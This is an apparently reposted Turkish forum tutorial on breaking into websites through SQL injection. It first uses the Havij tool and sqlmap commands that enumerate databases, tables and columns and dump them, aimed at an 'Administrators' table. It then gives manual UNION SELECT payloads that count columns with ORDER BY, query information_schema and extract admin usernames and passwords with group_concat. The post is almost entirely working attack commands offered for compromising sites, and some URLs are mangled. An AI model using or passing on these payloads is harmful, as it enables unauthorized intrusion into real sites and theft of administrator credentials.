"Site Hacklemek İstiyorum" Diye Konu Açmadan Önce Okuyunuz !!

"www.örneksite.com/index.php?id=1'" sitemiz buydu bu şekilde Havij’e yapıştırıyoruz.
 
Analyze diyoruz Analyze ettikden sonra Tables diyoruz
 
 Tables dedikten sonra Get Tables diyi kolonları çekiyoruz.
Çektikten sonra admin_pass’ı seçip Get Columns diyoruz
 
 Admin_pass ı açtıktan sonra username ve password seçeneğine tıklayıp Get data diyoruz ve username şifre elimizde

sqlmap.py -u http://http://örneksitefehor.com/title.php?id=5193 --dbs

sqlmap.py -u http://hedefurl.com Veritabanı_Adı --tables

sqlmap.py -u http://http://örneksitefehor.com/title.php?id=5193 seaofstories_app --tables

sqlmap.py -u http://hedefurl.com -D Veritabanı_Adı -T Tablo_Adı --columns

sqlmap.py -u http://http://örneksitefehor.com/title.php?id=5193 -D seaofstories_app -T Administrators --columns[CODE]

Bu şekilde kodumuzu yazıp ENTER tuşuna bastığımızda bize o tablonun kolonlarını çekecektir işlem sırasında yine [Y/N] ? diye sorarsa "y" diyip Enter basın.
Gördüğünüz gibi kolonları çekti şimdi sıra geldi son işleme bize panele girmek için "Username" ve "Password" kolonlarındaki ıd ve şifreler gerekli bunun için 4. adıma gidiyoruz.


4. Adım : Kolonlardaki Verileri Çekme (Dump)

SQLMAP'te kolonlardaki verileri çekmek için şu kodu kullanırız


[CODE]sqlmap.py -u http://hedefurl.com -D Veritabanı_Adı -T Tablo_Adı -C Kolon_Adı --dump

sqlmap.py -u http://http://örneksitefehor.com/title.php?id=5193 -D seaofstories_app -T Administrators -C password --dump

Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,

Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. (:

Http://Www.hedefSite.Org/Show.php?id=4 order by 2
-----
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .

Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;

Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,

Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.

Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,

Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

Http://http://örneksitefehor.com/index.php?id=5193 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız

Http://http://örneksitefehor.com/index.php?id=5193 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.
Alıntıdır.